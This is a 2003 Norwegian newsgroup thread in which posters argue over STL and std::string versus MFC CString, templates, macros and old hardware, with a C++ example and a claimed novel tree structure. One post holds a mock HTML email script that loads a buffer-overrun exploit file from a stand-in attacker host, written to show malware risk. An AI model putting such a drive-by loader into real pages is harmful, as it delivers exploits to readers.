>> Du porterer ikke STL, det ER portert (ihvert fall idag)
>
>Det VAR portet. Men det var så buggy at det var UBRUKELIG.
Det er en annen issue...
>
>
>> (joda der finnes enkelte ekstremt smale "kjøleskap programmerings
>> C++subsets" hvor det ikke finnes streams, men generellt er STL portert
>> som en helhet da C++ standarden ikke gir rom for subsets og STL er
>> definert i C++ standarden derav kan en si at definisjonen av C++ er
>> language semantics + STL++)
>
>Tull. Språket C++ er innebygd i kompilatoren. Bibliotekene er beskrevet i
>standarden for bibliotek, og tas i bruk ved at man inkluderer filer og linker
alle "filer" som man linker mot som beskrives ved hjelp av angle
brackets '<>' og ikke ved hjelp av gåseøyne '"' ligger ikke
nødvendigvis i "filer", de kan ligge i minne, de kan være
prekompilert etc... det er derfor standarden skiller på å inkludere
filer ved hjelp av "<>" og ' " " '...
>med filer. Språk og bibliotek er to forskjellige ting, ikke én sammenhengende
>suppe som du og dine likesinnede hevder. At standarden beskriver både språk og
>bibliotek betyr ikke at bibliotek == språk.
Vel...
For å takle exception handling i en dll på windows må man faktisk
"linke inn" startup code spesifikt...
Betyr det at "throw" er en del av biblioteket?!?
Hva med max verdien av f.eks. en int, den er definert i såkalte
"filer" som man inkluderer, er int en del av biblioteket?!?
Hva med RTTI som er en compiler opsjon på Micro$oft Visual Studio, er
dynamic_cast og dermed en del av biblioteket?!?
...list goes on...
Standarden for C++ sier spesifikt at biblioteket er en del av C++
standarden, det er derfor C++ er definert som et såkalt portabelt
språk...
>
>
>> >> Hvis du bruker en strenge klasse så skjønner ikke jeg hvordan du har
>> >> en som er bedre enn std::string, den skulle jeg GJERNE likt å se.
>> >
>> >MFC CString funker utmerket.
>>
>> Nå kødder du vel, kjære vene si at du kødder nå da, vær så snill...
>
>Nei, CString fungerer utmerket.
Jeg brukte faktisk da jeg begynte med C++ en egenutviklet string
klasse, dette var delvis årsaket av at den første boken jeg leste om
C++ som heter "Teach Yourself C++ in 21 days" var rimelig crappy og
ikke beskrev STL i det hele tatt.
Etter ca. et år gikk jeg over til å benytte meg en god del av CString,
men da jeg skulle begynne å progge i COM og ATL så kunne jeg på
daværende tidspunk (MSVS6.0) ikke lengere bruke CString, så da fant
jeg indirekte etter mye krull med min gamle String klasse ut at std::
hadde en klasse som het string, det var da jeg begynte å bli litt mere
kritisk til hvilke C++ litteratur jeg gadd å bruke tiden min på...
std::string er der, den er porterbar, den er bra, stabil, skalerbar,
har støtte for multi threading (fom. MSVS7.0) og ikke minst den er
debugget av en milliard C++ kodere i over 5 år...
>
>
>> Selv når jeg er tvunget til å progge i MFC (Microsoft progger ikke
>> selv i MFC en gang) så bruker jeg ALL tilgjengelig energi på å prøve å
>> unngå CString og alle andre Cxxx klassene med mindre jeg må...
>
>Du kaster bort tiden, med andre ord. Det sier jo litt...
Du bør være klar over at det er ganske FÅ deler av microsoft sine egne
produkter som er prgrammert i MFC, der finnes noen små deler av Office
Pakken som er programmert i MFC men det er faktisk mindre enn du tror.
Grunnen er enkel, Micro$oft synes stort sett at MFC stinker...
Og det er Micro$oft som har LAGET MFC!!
Se bare på outlook 2000 som er delvis programmert i MFC,det er et
programm som spiser 70 MB i det øyeblikket du starter det!!
>
>
>> >> Og om du bruker en strenge klasse så faller all din tidligere
>> >> argumentasjon om hastighet på stengrunn...
>> >
>> >Nei, hvorfor det ?
>> std::string er hundre ganger kjappere, skalerbar, robust og intuitiv
>> enn CString!!
>
>Tullprat.
>
>
>> >> sitat fra FAQ com.lang.c++: "Macros are evil, evil and evil..."
>> >
>> >Helt klart. Men det jeg her har foreslått er jo langt bedre og mer
>> >oversiktlig enn ditt råtne steinalderforslag...
>> ...øhh...
>> Hva er bedre ved
>> #define y "asdfoijh";
>> ...i forhold til...
>> char const * const y = "sdfoijh";
>> ?!?
>> De implemeteres i praksis likt og kompileresned til samme kode
>> uansett, forskjellen er at du har en type i mitt eksempel og du har
>> scope og du risikerer ikke "allready defined" bugs/meldinger...
>
>Ser du ikke at mine to linjer gjør samme jobben som dine ørten linjer ? Ser du
>ikke at mine to linjer bare fører til en eneste tilordning, mens dine ørten
>genererer et lass med kode ?
Det er sikkert deler av greia di som var bedre enn greia mi, men...
...siden når ble en "#define" raskere enn en "char const *const"?!?
Det vil jeg gjerne at du skal svare meg på...
>> >Det var bare en optimalisering av din uoversiktlige, store og trege kode...
>>
>> Hva var det som kjørte kjappere ved din kode?!?
>
>Alt. En tilordning går alltid langt kjappere en mange tilordninger og andre
>unødvendige instruksjoner...
Greit nok, koden din var sikkert bedre enn greia mi, men fortsatt vil
jeg vite hva som er raskere med en "#define" i forhold til en "char
const * const"...
>
>
>> >Å skrive en applikasjon som ikke funker ? Er det et alternativ ?
>>
>> Hvis en bruker konsepter som ikke skalerer og kan og vil bli en kilde
>> til bugs så vil ikke applikasjonen fungere...
>
>Men du fortsetter jo å snakke om hva DU ville gjort uten STL. Her er det snakk
>om hva JEG gjør uten STL kontra hva DU gjør med STL...
Det er forsåvidt et godt argument...
>
>
>> Hva skjer hvis du må utvide sql'en DIN utover 333 karakterer?!?
>> Er du sikker på at du husket å utvide bufferen din tilsvarende?!?
>
>Selvfølgelig ville jeg husket det. Skjønt i praksis ville jeg nok brukt en
>CString til dette. Koden ville blitt like enkel, og overheaden akseptabel.
Greit nok,men husk på at du startet med å argumentere for hastighet
når vi begynte på STL, jeg ser ikke hva som er kjappere med CString i
forhold til std::string...
>
>
>> MFC bruker typisk 15 sekunder på å starte på min Pentium 4 2.0 GHz med
>> 1/5 gigabyte RAMBUS minne...
>
>MFC bruker 15 sekunder på å starte ? For noe sludder. Feilen ligger nok i
>gjett hvem sin kode...
Her er det snakk om en Hello World applikasjon hvor jeg nettop er
ferdig med wizarden og trykker "Shift+Ctrl+B" for så a trykke på "Ctrl
+ F5"...
>
>
>> Lurer på hvordan det ville blitt hvis en skulle starte MFC (CString
>> ble nevnt her lengere oppe) på en Palm Pilot med 2 MB flash minne...
>> ;)
>
>Jeg portet som sagt store deler av MFC til QNX. Vi brukte en enhet som hadde
>486-prosessor, 8 MB RAM og 4 MB flash. Der hadde vi plass til email-klient,
>browser, smarthusløsning og videotelefon for å nevne noe. Hovedårsaken til at
>vi hadde plass til så mye var det klassebiblioteket jeg lagde, og det inkluderte
>portede MFC-klasser. Blant annet template-baserte collections, CString og
>selvfølgelig et hav av andre nyttige tillegg.
Imponerende! (seriøst, ikke ironi)
Men jeg tviler for at "Store deler av MFC" kan tas veldig bokstavelig
her...
Det kvalmeste med MFC er måten de behandler messager på, se på de
teite macroene for å behandle messager i en klasse.
Jeg mekka i juleferien min for gøy en "Policy Based Design" inspirert
wrapper rundt win32API som benytted events registering som filter for
å behandle messager, i selve implementasjonen hadde jeg set og get
funksjoner for å registrere hvilke events jeg ville behandle i
applikasjonen og lot resten gå til OS'et, i biblioteket hadde jeg så
en map som mapped opp messagene til den ønskede funksjonen fra
applikasjonen, og IKKE virtuelle funksjoner som microsoft i sine
tidlige statementer som reklame for MFC påstod var det eneste
alternativet...
Over headen var tilnærmet lik null uansett hvor mange events du
registrerte interresse i, du ble TVUNGET til å ha riktig signatur på
funksjonen som skulle behandle eventen, og du hadde mye større
fleksibilitet enn du hadde i microsoft sine dritt macroer for å
behandle windows messager...
BTW, min approach var forresten ikke ulik Trolltech sin måte å tenke
på med såkalte "signals" og "slots" noe som de påstår er noe de har
funnet på.. (Haa, haa...)
>
>
>> >> 2. Han har en skikkelig cheesy viruskiller som scanner alt av
>> >> instruksjoner og kjører i et "sandbox environment".
>> >
>> >Nei, han kjører uten antivirus.
>> ...Ohhh....
>
>Det er ikke så risky - hans nett er totalt avsondret fra omverdenen og rutinene
>for behandling av disketter etc er temmelig strenge.
Vel...
Se for deg denne mailen...
<html>
<script>
myXml = CreateObject("MSXML");
myXml.Load("http://www.hackz2006.br.zl/ExploitBufferOverrunInMSXML.xml")
<script>
<html>
...hmm...
>
>
>> >Han har endel Pentium II 350 MHz, men serveren er en PIV 2GHz og den er ikke
>> >nevneverdig raskere...
>> [flisespikkeri]
>> Pentium II 350 MHz FINNES ikke!!
>> Det finnes en på 330 MHz
>> [/flisespikkeri]
>
>Godt mulig, men det ble ihvertfall SOLGT en god del PII-350. Så flisespikkingen
>kan du ta med markedsavdelingen et eller annet sted...
Ok, var litt kjapp i kjeften der...
>
>
>> Det vil jeg påstå er en ræva PC.
>
>De gjør jobben. At Visma går sakte er ikke forårsaket av utstyret. Det er
>lusne programmerere som jobber på alt for bra utstyr som er årsaken. De med
>samme holdning til utstyrets alder som du har...
En meget god PC i dag koster ca 10 000, en uproduktiv medarbeider som
er uproduktiv pga. for gammelt utstyr koster ca. 600 000 i året, hvis
den i utgangspunktet produktive medarbeideren bruker 10% av sin
arbeidstid på åvente på applikasjoner, en tidsfaktor som ville blitt
90% eliminert ved oppgradering av PC'en ville "besparelsen" ved å
vente "bare et år til" før oppgradering av hardware blitt -54 000
kroner i året...
En gjennomsnittslig ny pc i dag kjører på 2,6 GHz
En pentium 2 350 kjører på (selvfølgelig) 0.35 GHz
Ville du akseptert hvis du var drosjebileier at en av dine sjåfører
kjørte en bil som gikk i (en vanlig drosje i dag kan kjøre i 140
relativt trygt) 18,9 kilometer i time som max hastighet?!?
>
>
>> Jeg har faktisk en slik hjemme og det er nå ca ** 2 år ** siden jeg
>> GAV den bort til min datter som nå snart er 6 år.
>> Jeg tipper du får kjøpt en slik i dag (de kom på markedet tidlig i
>> 1998) for ca. 500 kroner (bare PC'en, ikke skjerm ol...)
>> Det at et regnskapsbyrå oppdaterer økonomisystemet sitt uten å
>> oppdatere PC'er som er 5 år gamle vil jeg definere som et
>> sykdomstegn...
>
>Det at man skal måtte bytte ut relativt kraftige maskiner etter få år er et
>sykdomstegn. Og i dette tilfellet er det heller ikke der problemet ligger.
Datamaskinen som konsept er relativt nytt i forhold til f.eks.
teknikk, maskiner, etc...
I en overgangsalder (de neste 20 årene) må vi bare vende oss til at en
5 års gammel PC er altfor gammel og burde vært kassert for lenge
siden!!!
Men du jobber vel kanskje selv på en PII 350 MHz maskin eller?!?
(jeg tipper du jobber på en som er minst tre ganger så rask...)
>
>Men du mener vel at folk bør ha det siste av utstyr for at boblesorteringen din
>skal gå fort nok ?
Jeb bruker ikke boblesortering, jeg bruker std::sort som er garantert
å ha MINST O(log n).
Hvilke vil si at den for alle praktiske henseender er implementert ved
hjelp av quicksort...
Sist gang jeg brukte bubblesort var i 1986, da var jeg 12 år gammel og
programmerte på en Amstrad CPC464 i basic...
Hvis jeg MÅ bruke noe annet enn std::sort så bruker jeg selv enten
quicksort, shellsort eller til nød selection sort...
Forøvrig har jeg funnet opp en relativt niftig trestruktur som kan
finnes på http://www.geocities.com/polterguy1000 som faktisk overgår
quicksort (det er strengt tatt ikke en sortering, men mere en
datastruktur med støtte for ekstremt raske uttrekk) til det så
ekstreme at den er nærmere aksessen i en hastable enn en
trestruktur...
>
>
>> >> Jeg velger å bruke STL der det ikke degraderer ytelsen merkbart
>> >> (hvilke vil si stort sett overalt) fordi det er porterbart, enkelt,
>> >> forståelig, og ikke minst STANDARDISERT!
>> >
>> >Dette er gode argumenter for å bruke STL, men når du påstår at det er enkelt
>> >og forståelig drar du den litt vel langt...
>> >
>> >Og hva gjør du den dagen du skal utvikle for en plattform der det ikke finnes
>> >fungerende STL ?
>>
>> Da finnes det per definisjon ikke noe fungerende C++ på den
>> plattformen da STL er en del av C++ standarden!!
>
>Det hjelper pokker så lite den dagen du står der med en fungerende kompilator og
>en STL som ikke fungerer. Og språket C++ fungerer uavhengig av om du har et
>fungerende bibliotek eller ei...
Joda det er sant, men hvis en da først skal "portere" noe, hvorfor
ikke portere noe som da allerede er portert på alle de andre
plattformene (les "STL")?!?
>
>
>> Dette kan vi godt argumentere fram og tilbake om, men slik ER det
>> PUNKTUM!!
>
>Sikkert. Det er nok akkurat det en oppdragsgiver ønsker å få høre når de skal
>ha noe til å fungere innenfor bestemte rammer.
Godt argument, men jeg sa aldri at jeg visst jeg måtte ikke kunne
progge i "C with classes", jeg sa bare at det per definisjon ikke
lengere er C++...
>
>
>> Hva skjer hvis en skal portere til en plattform hvor det ikke finnes
>> exception handling?!?
>> Dette er f.eks. tilfelle for en god del håndholdte enheter sitt API!
>
>Det sier seg vel selv at man i et slikt tilfelle må skrive om de delene av koden
>som er basert på exception handling. Det kan være en voldsom jobb hvis det er
>mange feilsituasjoner...
>
>
>> (...kjære gud ikke la han svare at han IKKE bruker exceptions nå
>> da...)
>
>Selvfølgelig bruker jeg det.
Puhh... Orket bare ikke en debatt om exceptions også...
>
>
>> Dette kan en dra til sin ytterste konsekvens ved å spørre om hva en
>> skal gjøre hvis en skal portere til en plattform som ikke støtter ++
>> operator, hverken post- eller prefix, skal en da la være å incremente
>> variabler ved hjelp av f.eks. "++X;"?!?
>
>Tåpelig og urealistisk problemstilling. Men det er klart, det er bugs i
>kompilatorer også, så om kompilatoren gjør en bestemt ting feil så må man ta
>hensyn til det. I stedet for å sitte der, som du åpenbart ville, og jamre over
>at det ikke finnes C++ for den aktuelle plattformen.
På hvilke tidspunkt har jeg gitt deg det inntrykket at jeg ville jamre
om at det ikke finnes C++ på den plattformen?!?
>
>
>> Faktum er at en av de største bakdelene ved C++ i forhold til C er
>> klasser og spesielt polymorfisme (les.VFP), constructors og
>> destructors.
>> Noe som du spesifikt har benevnt som en av argumentene for at du
>> progger i C++ og ikke i C!
>
>Tull. Dette er store *fordeler* med C++. At det blir elefantkode ut av det når
>amatørene skriver klasser har lite med saken å gjøre.
Klasser som konsept i C++ er noe av det mest degraderende på ytelsen
runtime i forhold til C...
Jeg bruker dog da selvfølgelig klasser selv, men jeg er litt forsiktig
med "polymorfisme triggerhappiness" og "konstruktor/destructor beauty
overusing" i CPU/minne krevende deler av mine applikasjoner...
>
>
>> Templates er en av de få avanserte konseptene i C++ som GARANTERT ikke
>> bringer inn noe runtime overhead (Standard TEMPLATE Library)
>
>Templates har en tendens til å øke kodestørrelsen, og det er en form for
>runtime overhead.
Der tar du FEIL!!!
templates brukt FEIL kan føre til code bloat, men brukt riktig kan en
redusere både kodesatørrelsen og process image sizen betraktelig...
Det mest ekstreme eksempelet er f.eks. CString kontra std::string,
CString vil BESTANDIG linke inn ALLE member funksjonene mens
std::string ikke vil kompilere/linke inn flere funksjoner enn de du
bruker...
Hvis du da f.eks. aldri bruker += operator i std::string vil denne
funksjonen pga. naturen til templates aldri bli kompilert og linket
inn, et godt eksempel kan en se ved a lage en template funksjon hvor
en legger inn en grov syntax error, så lenge en ikke kaller denne
funksjonen vil en aldri få vite om denne erroren...
>
>Men den er som regel akseptabel, jeg bruker endel templates.
Da forstår jeg ikke hvorfor du ikke bruker eksisterende funksjonelle
ferdig debuggede templates f.eks. std::vector og std::list...
>
>
>> >> Snakket ikke du om memory overhead her indirekte en vending også...
>> >> Vet du hva overheaden av å "dra inn sprintf" funksjonene er?
>> >> Den er STØRRE en å dra med stringstream...
>> >
>> >Nei, der tar du feil igjen. Se her :
>> [snipped bevis for at jeg bæsja på leggen]
>> >exe-fil: 81920 byte (min greie)
>> >exe-fil: 28672 byte (Sigurds greie)
>>
>> Okay, litt stor i kjeften der, tenkte ikke over at du måtte f.eks ha
>> med startup code ol. når du bringer med streams da de kan kaste
>> exceptions...
>
>Jeg brukte samme options for begge kompileringene, så jeg tror ikke det der er
>et relevant moment...
Et bibliotek kan automagisk forandre settings i kompileren, et godt
eksempel er GLUT som forandrer entry point i KODEN og IKKE som en
setting!!!
>
>
>> Men du har ihvertfall dratt med en fil for mye i #include'en din,
>> strstream ble mere eller mindre fjernet standarden for 10 år siden...
>> <sstream> hadde holdt LENGE!!!
>
>Det illustrerer bare hvor dårlig dokumentasjonen på STL er. Og kodestørrelsen
Når det gjelder MSVS og dokumentasjon til STL er jeg HELT enig, men så
har jo heller ikke MS noen interresse av å forenkle portering av
applikasjoner da de aller helst vil at alt skal gå enten i MFC eller
tom. som managed code slik at det er umulig å portere til andre OS'er
enn windows...
>er identisk etter at den unødvendige fila er fjernet.
Er ikke det litt morsomt med STL, du kan dra med så my grafs du vil,
men kompilatoren vil bare kompilere de funksjonene som du faktisk
bruker!!!
>
>
>> Vel du kan IKKE benytte iterators på strenge klassen din
>
>Jeg ønsker ikke å bruke en iterator. Hvorfor skulle jeg det - det holder i
>massevis med operator []...
Det blir som å si at det holder lenge med "gode gamle char * i C"
hvorfor skal jeg bruke en strenge klasse, eller hvorfor skal jeg gidde
å bruke klasser i det hele tatt når jeg har klart meg lenge uten i
C?!?
>
>
>> (som forøvrig ikke er kjappere enn min)
>
>Who cares ? Begge fungerer, skjønt std::string har et par alvorlige mangler...
Nevn EN mangel!!!
Prøv å nevne EN mangel i std::string!!!
Jeg kan nevne EN MILLION mangler i MFC, e.g.
std::string myString="qwertyuiopasdfghjklzxcvbnm";
std::sort( myString.begin(), myString.end());
Her har jeg sortert bokstavene i en std::string ved hjelp av EN
linje...
Hvor mange linjer med kode trenger du for å sortere bokstavene i en
CString?!?
>
>
>> du kan ikke benytte andre ting enn char *
>> som implementasjon av stringe klassen din
>
>Det er feil. Det er TCHAR som brukes...
Joda men prøv å bruk BEGGE i samme kompilerings enhet...
Skal du da REDEFINE TCHAR (som er en makro) for så å sette den tilbake
igjen?!?
Det er ihvertfall livsfarlig...
>
>
>> (jeg kan ha en streng av
>> vectorer hvis jeg vil)
>
>Hva i all verden skal man med slikt tull ?
Kanskje ikke det beste eksempelet, men en har muligheten hvis en
vil...
>
>
>> du kan ikke benytte custom allocaters på
>> strenge klassen din (jeg kan til og med hvis jeg vil benytte en custom
>> implementert Garbage Collector)
>
>So what ? Har aldri hatt bruk for slikt tull...
Garbage Collector var kanskje ikke noe godt eksempel, men jeg har
faktisk optimalisert std::string bruken betraktelig ved å f.eks. ha en
pool av minne som allokeres i f.eks. størrelser på en og en Kilobyte
også kan en dynamisk fordele dette minnet over mange mindre objekter
for så å øke bufferen ved behov...
Gjør DET i CString!!!
>
>
>> og du kan heller ikke kommunisere med
>> andres biblioteker spesielt bra selv om du måtte øsnke da mange vil
>> benytte std::string som standard strenge implementasjon...
>
>Det er riktig, men bare når man må forholde seg til kode utviklet av folk med
>samme arroganse som du. Det eneste fornuftige er å bruke const char * i disse
Det kan godt hende at jeg er arrogant, men du er trangsynt...
>grensesnittene fordi det ikke tvinger noen til å bruke noe som helst. Men du og
>dine likesinnede driter i det og tvinger deres syn igjennom...
Hva er det som er såfornuftig ved å bruke char *?!?
Da dukker det oppe en mengde interressante spørsmål, e.g. hvem er
ansvarlig for å deallokere char * din (altså. delete[] myChar) er det
klieneten eller er det serveren/biblioteket?!?
Hvordan skal en deallokere char *'eren din, delete[] eller free()?!?
Når tid skal hvem deallokere char *'eren din?!?
etc...
Jeg har en liten mistanke til at du ikke bruker hverken andres sin
kode eller skriver kode som andre skal bruke...
>
>
>> I tillegg vil du måtte linke inn både din porterte CString klasse OG
>> std::string klassen (istedenfor en string klasse) ved linkin mot
>> eksterne biblioteker...
>
>Det er et tåpelig argument. Det samme vil jo gjelde deg hvis biblioteksflyten
>snur og meningsarrogansen er den samme på begge sider...
Joda, men for fire år siden var det nesten INGEN som programmerte mot
std::xxx i dag er det nesten INGEN som IKKE programmerer opp i mot
std::xxx...
Enda mere interressant skal det bli å se utviklingen når vi i 0x
standarden får ting som f.eks. Regex, Soap/Networked stuff, hash maps,
reference counted smart pointers, etc...
>
>
>> >> Cowboy Koding kaller jeg det, og det er ofte en kilde til bugs som en
>> >> enkelt kan unngå, vitner om lite bred horisont og en C måte å tenke
>> >> C++ på...
>> >
>> >Snakk for deg selv. Jeg kjenner mange utviklere, og INGEN av dem skriver så
>> >få feil som det jeg gjør.
>>
>> Sikkert riktig, samme her...
>>
>> Men tipper at jeg kan ta et av mine EKSISTERENDE systemer og legge TIL
>> funksjonalitet kjappere enn det du kan med en av dine...
>
>Enda mer arroganse. Skaff funding, så skal jeg slå deg ned i støvlene både når
>det gjelder design, implementering, vedlikehold, bugs, ytelse, tidsforbruk og
>videreutvikling i forbindelse med en hvilken som helst praktisk problemstilling.
Det har jeg dessverre ikke lov til da alt jeg generer av kode er min
arbeidsgivers eiendom, men du kan jo prøve å ta CString og CArray og
lage EN funksjon som sjekker om CString'en din inneholder "æøå" eller
om CArray'en din inneholder CStringer som inneholder "æøå"...
#include <string>
#include <vector>
#include <iostream>
#include <exception>
template<class T>
void foo( T::iterator begin,
T::iterator end )
{
for( ; begin != end; ++begin )
CheckForIllegalCharacters( *begin );
}
void CheckForIllegalCharacters( const char str )
{
if( str == 'æ' || str == 'ø' || str == 'å' || str == 'Æ' ||
str == 'Ø' || str == 'Å' )
throw std::exception("String did contain illegal
characters...");
}
void CheckForIllegalCharacters( const std::string & str )
{
if( str.find_first_of("æøåÆØÅ") != std::string::npos )
throw std::exception("Vector did contain illegal
characters...");
}
int main(int argc, char* argv[])
{
using namespace std;
// String sort...
try
{
string myString="qwertyuiopasdfghjklzxcvbnm";
cout << "Checking if string contains norwegian
characters" << endl;
foo<string>( myString.begin(), myString.end() );
// Vector sort...
vector<string> myVector;
myVector.push_back("per");
myVector.push_back("ole");
myVector.push_back("guri");
myVector.push_back("kaåri");
myVector.push_back("jens");
cout << "Checking if vector contains norwegian
characters" << endl;
foo<vector<string> >( myVector.begin(), myVector.end()
);
cout << "None contained illegal characters...";
}
catch( const std::exception & err )
{
cout << err.what();
}
int x = 1;
cin >> x;
return 0;
}
>
>
>> >> Når alt kommer til stykket benytter jeg faktisk XSLT, Java,
>> >> JavaScript, C#, SQL ol hovedsaklig og kun C++ der hvor det er påkrevd
>> >> pga hastighet ol.
>> >> Grunnen til dette er at jeg i f.eks. XSLT (som selvfølgelig er VELDIG
>> >> mye tregere enn C++) kan skrive ekstremt mye mere fleksibel, porterbar
>> >> og skalerbar kode som eksekveres "kjapt nok"...
>> >
>> >Det forklarer hvorfor du ikke vet så mye om hva man kan få til med C++ uten
>> >STL, men det forklarer IKKE hvorfor du er arrogant nok til å tro at du vet
>> >alt...
>>
>> Jeg kan ikke alt, men det er et faktum (selv i Redmond) at CString og
>> MFC STINKER!!!
>
>CString og MFC er produktivitetsøkende og fungerer utmerket. Det er jo mildt
>sagt litt pussig at du og andre som ikke bruker dette vet så mye om det, mens
>jeg som bruker det hele tiden åpenbart ikke vet noe som helst...
Jeg har programmert ganske mye i MFC og jeg har benyttet CString
ganske mye også, men jeg vokste rett og slett i fra det...
MFC er leketøy for barn...
>
>Skjønt jeg begynner å ane et mønster - du har stort sett ikke egne meninger, du
>bare repeterer det du har hørt andre lire av seg...
Jeg har faktisk selv ekstremt dårlig erfaring med MFC og for den sags
skyld også CString.
Det prosjektet jeg nevnte tidligere hvor jeg reduserte antall linjer
med kildekode fra 250 000 linjer til 9800 linjer med kode var MFC og
CString benyttet hyppig.
Som om ikke det var nok var også et veldig kjent rapporteringverktøy
benyttet for å senke antall linjer med kode og et veldig kjent GUI
bibliotek som legger seg påtoppen av MFC og skal simplifisere en del
ting i MFC benyttet.
Da jeg var ferdig med refaktoreringen var prosjektets GUI og
forretningslogikk i C#, importmodulene implementert som COM objekter i
C++, hele rapporteringsmodulen og eksporteringsmodulen i XML/XSLT, og
mesteparten av den litt tyngre logikken implementert som avanserte
SQL'er mot en valgfri database vendor...
Funny thing er at etterpå tiltross for en ekstrem lagdeling og
benyttelse av "Managed Code" så kjører hele greia hundre ganger
raskere, også på "gamle" pc'er så lenge de har nok minne til å driver
.NET Framework dog...
Som om ikke det var nok var den gamle greia utelukkende en
konvensjonell desktop applikasjon, mens den refaktorerte greia kan
kjøre som enten en desktop app eller som en web app bare ved å plugge
et par hundre linjer med GUI ut/inn...
Thore B. Karlsen
wrote:
>Forøvrig har jeg funnet opp en relativt niftig trestruktur som kan
>finnes på http://www.geocities.com/polterguy1000 som faktisk overgår
>quicksort (det er strengt tatt ikke en sortering, men mere en
>datastruktur med støtte for ekstremt raske uttrekk) til det så
>ekstreme at den er nærmere aksessen i en hastable enn en
>trestruktur...
Minner jævlig om tries..
http://www.cs.mcgill.ca/~cs251/OldCourses/1997/topic7/
Men de stjal vel idéen fra deg.
--
Be seeing you.
Thomas Hansen
Thore B. Karlsen <s...@6581.com> containing:
>On 22 Apr 2003 02:48:59 -0700, polt...@hotmail.com (Thomas Hansen)
Det er ikke noen vits å være vittig...
Jeg var faktisk ikke klar over tries sin eksistens, og jeg må innrømme
at du har litt riktig, Genetic Trees ligner ved første øyekast veldig
på tries...
Det er noen essensielle forskjeller:
* I Genetic Trees er ikke nøkkelen en del av "data" grunnlaget slik
det er i tries.
* I Genetic Trees kan det ikke eksistere en GOOD node med mindre der
eksistere GOOC node, det høres tilsynelatende ut som en begrensning,
men tvert imot, i Genetic Trees MÅ du legge til noder sukksesivt, den
første noden du legger til MÅ ha dna kode på "a" dennes node sitt
første barn MÅ ha kode "aa", det andre barnet MÅ ha dna kode "ab"
etc...
"ad" sitt første barn MÅ ha dna kode "ada" etc...
Grunnen er at du ønsker nemlig en veldig viktig property, du ønsker å
kunne binært partisjonere opp treet i "foran" og "bak" en hvilken som
helst node...
I tillegg så ønsker du å vite hvor mange "ancestor" noder en hvilken
som helst node har UTEN å måtte løpe oppover i trestrukturen etc...
Det høres kanskje ut som en litt "smal" datastruktur (det er den
forsåvidt også da den har VELDIG få anvendelsesområder) men den er
veldig snedig der hvor du trenger den, helt genial f.eks. ved
innlesing av en "Schema" eller en hvilken som helst annen trestruktur
hvor du har et node tre som forteller noe om et "forventet utseende"
på en annen trestruktur.
Dette er ikke spesielt lett å gjøre (neppe mulig i det hele tatt) med
tries...
Det som egentlig er hele konseptet med Genetic Trees er at du har en
datastruktur som både beskriver et data grunnlag relasjonelt OG
lineært, dette er noe som jeg ikke har sett i noen andre
datastrukturer i eksistens i dag (dog så kan det godt hende at det
finnes, jeg sier bare at JEG ikke har sett det...)
Sigurd Stenersen
> [prøver på nytt fra google]
> On Fri, 11 Apr 2003 17:47:39 +0200, there came a drop of sanity from
> "Sigurd Stenersen" <sig...@utvikling.com> containing:
>
> [snip]
>>> Lag en generisk funksjon som reagerer på inneholdet av en iterator
>>> slik at den vil fungere selv om klassen som det itereres på er
>>> std::string, std::vector, std::list eller std::iostream...
>>
>> Hvorfor i helevete skulle jeg lage det ? Jeg bruker jo ikke noen av de
>> klassene...
>
> Du kan gjenbruke den ene funksjonenslik at den kan f.eks.sortere en
> vector, den kan sortere inneholdet i en streng, den kan sortere ordene
> i en fil...
Nei, jeg kan ikke gjenbruke den. Jeg har heller ikke bruk for den. Har du
problemer med leseforståelsen ?
> Det som er greia er at du ofte ikke vet alle plassene hvor du trenger
> en slik funksjon før lenge etter at du har laget den...
Den største hindringen for gjenbruk i praksis er alle disse greiene folk
lager fordi de kanskje kan være kjekke å ha senere...
>>> Det har jeg ikke bare gjort mange ganger men gjør det også stort sett
>>> hver gang jeg koder C++.
>>
>> Det sier mer om deg enn det sier om C++. Kom med en reell
>> problemstilling som skal
>> løses, ikke disse teoretiske programmere-for-å-programmere-oppgavene...
>
[komplett uforståelig respons klippet bort]
>>>>> men en
>>>>> kan jo nevne portering som et mulig dilemma...
>>>>
>>>> Jeg tror nok at jeg har mer erfaring med porting enn det du har.
>>>> Blant annet har jeg portet store deler av MFC til QNX fordi
>>>> STL-greiene til Watcom var fulle av bugs. Har du prøvd å porte STL
>>>> noen gang ?
>>>
>>> Du porterer ikke STL, det ER portert (ihvert fall idag)
>>
>> Det VAR portet. Men det var så buggy at det var UBRUKELIG.
>
> Det er en annen issue...
Nei, det er det ikke. Det er praksis, i motsetning til din teori...
>>> (joda der finnes enkelte ekstremt smale "kjøleskap programmerings
>>> C++subsets" hvor det ikke finnes streams, men generellt er STL portert
>>> som en helhet da C++ standarden ikke gir rom for subsets og STL er
>>> definert i C++ standarden derav kan en si at definisjonen av C++ er
>>> language semantics + STL++)
>>
>> Tull. Språket C++ er innebygd i kompilatoren. Bibliotekene er
>> beskrevet i standarden for bibliotek, og tas i bruk ved at man
>> inkluderer filer og linker
>
> alle "filer" som man linker mot som beskrives ved hjelp av angle
> brackets '<>' og ikke ved hjelp av gåseøyne '"' ligger ikke
> nødvendigvis i "filer", de kan ligge i minne, de kan være
> prekompilert etc... det er derfor standarden skiller på å inkludere
> filer ved hjelp av "<>" og ' " " '...
Tull. <> betyr at ting ligger i include paths, "" betyr at ting ligger i
current directory eller include paths.
Prøver du å snakke deg bort med dette røret om minne, prekompilering osv ?
>> med filer. Språk og bibliotek er to forskjellige ting, ikke én
>> sammenhengende suppe som du og dine likesinnede hevder. At standarden
>> beskriver både språk og bibliotek betyr ikke at bibliotek == språk.
>
> Vel...
> For å takle exception handling i en dll på windows må man faktisk
> "linke inn" startup code spesifikt...
> Betyr det at "throw" er en del av biblioteket?!?
Det tar kompilatoren seg av, uten at det krever besvergelser i kilden.
Altså er exception handling en del av språket.
> Hva med max verdien av f.eks. en int, den er definert i såkalte
> "filer" som man inkluderer, er int en del av biblioteket?!?
Du roter videre. int er en del av språket, og den fungerer uten at man
inkluderer noe. At biblioteket definerer konstanter som man *kan* bruke har
ingen ting med de elementære typene å gjøre.
Det er jo også litt pussig at du velger en konstant som ligger i
C-biblioteket for å "bevise" hva som er C++ ettersom du flere ganger har
hevdet at C-delen ikke er C++
> Hva med RTTI som er en compiler opsjon på Micro$oft Visual Studio
Ja, hva med det ?
> Standarden for C++ sier spesifikt at biblioteket er en del av C++
> standarden, det er derfor C++ er definert som et såkalt portabelt
> språk...
Er det noen som har benektet at biblioteket er en del av standarden ? Har
du problemer med leseforståelsen ?
>>>>> Hvis du bruker en strenge klasse så skjønner ikke jeg hvordan du har
>>>>> en som er bedre enn std::string, den skulle jeg GJERNE likt å se.
>>>>
>>>> MFC CString funker utmerket.
>>>
